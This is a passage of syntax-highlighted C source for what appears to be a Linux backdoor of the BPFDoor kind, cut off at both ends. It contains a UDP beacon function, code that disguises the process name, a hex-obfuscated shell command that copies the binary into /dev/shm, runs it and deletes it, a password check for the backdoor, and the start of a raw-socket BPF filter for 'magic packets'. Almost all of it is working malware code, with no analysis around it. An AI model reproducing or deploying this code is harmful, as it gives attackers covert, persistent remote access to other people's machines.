<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> sock<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> mon<span class="br0">&#40;</span>in_addr_t ip<span class="sy0">,</span> <span class="kw4">unsigned</span> <span class="kw4">short</span> port<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> sockaddr_in remote<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; &nbsp;sock<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; &nbsp;s_len<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; bzero<span class="br0">&#40;</span><span class="sy0">&amp;</span>remote<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>remote<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>sock <span class="sy0">=</span> socket<span class="br0">&#40;</span>AF_INET<span class="sy0">,</span> SOCK_DGRAM<span class="sy0">,</span> IPPROTO_UDP<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; remote.<span class="me1">sin_family</span> <span class="sy0">=</span> AF_INET<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; remote.<span class="me1">sin_port</span> &nbsp; <span class="sy0">=</span> port<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; remote.<span class="me1">sin_addr</span>.<span class="me1">s_addr</span> <span class="sy0">=</span> ip<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>s_len <span class="sy0">=</span> sendto<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="st0">&quot;1&quot;</span><span class="sy0">,</span> <span class="nu0">1</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>remote<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> s_len<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> set_proc_name<span class="br0">&#40;</span><span class="kw4">int</span> argc<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">**</span>argv<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*</span>new<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">size_t</span> size <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> <span class="sy0">*</span>raw <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> <span class="sy0">*</span>last <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; argv0 <span class="sy0">=</span> argv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">;</span> i<span class="sy0">++</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size <span class="sy0">+=</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">+</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; raw <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span><span class="br0">&#41;</span> <span class="kw3">malloc</span><span class="br0">&#40;</span>size<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>NULL <span class="sy0">==</span> raw<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">;</span> i<span class="sy0">++</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">memcpy</span><span class="br0">&#40;</span>raw<span class="sy0">,</span> environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">,</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">+</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">=</span> raw<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw <span class="sy0">+=</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">+</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; last <span class="sy0">=</span> argv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> i <span class="sy0">&lt;</span> argc<span class="sy0">;</span> i<span class="sy0">++</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; last <span class="sy0">+=</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>argv<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">+</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">;</span> i<span class="sy0">++</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; last <span class="sy0">+=</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>environ<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">+</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">memset</span><span class="br0">&#40;</span>argv0<span class="sy0">,</span> <span class="nu12">0x00</span><span class="sy0">,</span> last <span class="sy0">-</span> argv0<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strncpy</span><span class="br0">&#40;</span>argv0<span class="sy0">,</span> new<span class="sy0">,</span> last <span class="sy0">-</span> argv0<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; prctl<span class="br0">&#40;</span>PR_SET_NAME<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">long</span><span class="br0">&#41;</span> new<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> to_open<span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span>name<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*</span>tmp<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> cmd<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> fmt<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x66</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x76</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x3b</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x76</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x26</span><span class="sy0">,</span> <span class="nu12">0x26</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x37</span><span class="sy0">,</span> <span class="nu12">0x35</span><span class="sy0">,</span> <span class="nu12">0x35</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x76</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x26</span><span class="sy0">,</span> <span class="nu12">0x26</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x76</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x26</span><span class="sy0">,</span> <span class="nu12">0x26</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x66</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x76</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s &amp;&amp; /bin/chmod 755 /dev/shm/%s &amp;&amp; /dev/shm/%s --init &amp;&amp; /bin/rm -f /dev/shm/%s</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">snprintf</span><span class="br0">&#40;</span>cmd<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>cmd<span class="br0">&#41;</span><span class="sy0">,</span> fmt<span class="sy0">,</span> tmp<span class="sy0">,</span> name<span class="sy0">,</span> tmp<span class="sy0">,</span> tmp<span class="sy0">,</span> tmp<span class="sy0">,</span> tmp<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">system</span><span class="br0">&#40;</span>cmd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; sleep<span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>access<span class="br0">&#40;</span>pid_path<span class="sy0">,</span> R_OK<span class="br0">&#41;</span> <span class="sy0">==</span> <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> logon<span class="br0">&#40;</span><span class="kw4">const</span> <span class="kw4">char</span> <span class="sy0">*</span>hash<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> x <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; x <span class="sy0">=</span> <span class="kw3">memcmp</span><span class="br0">&#40;</span>cfg.<span class="me1">pass</span><span class="sy0">,</span> hash<span class="sy0">,</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>cfg.<span class="me1">pass</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>x <span class="sy0">==</span> <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; x <span class="sy0">=</span> <span class="kw3">memcmp</span><span class="br0">&#40;</span>cfg.<span class="me1">pass2</span><span class="sy0">,</span> hash<span class="sy0">,</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>cfg.<span class="me1">pass2</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>x <span class="sy0">==</span> <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">2</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">void</span> packet_loop<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> sock<span class="sy0">,</span> r_len<span class="sy0">,</span> pid<span class="sy0">,</span> scli<span class="sy0">,</span> size_ip<span class="sy0">,</span> size_tcp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; socklen_t psize<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar buff<span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">const</span> <span class="kw4">struct</span> sniff_ip <span class="sy0">*</span>ip<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">const</span> <span class="kw4">struct</span> sniff_tcp <span class="sy0">*</span>tcp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> magic_packet <span class="sy0">*</span>mp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">const</span> <span class="kw4">struct</span> sniff_udp <span class="sy0">*</span>udp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; in_addr_t bip<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> <span class="sy0">*</span>pbuff <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Filter Options Build Filter Struct</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> sock_fprog filter<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> sock_filter bpf_code<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x28</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000000c</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">27</span><span class="sy0">,</span> <span class="nu12">0x00000800</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
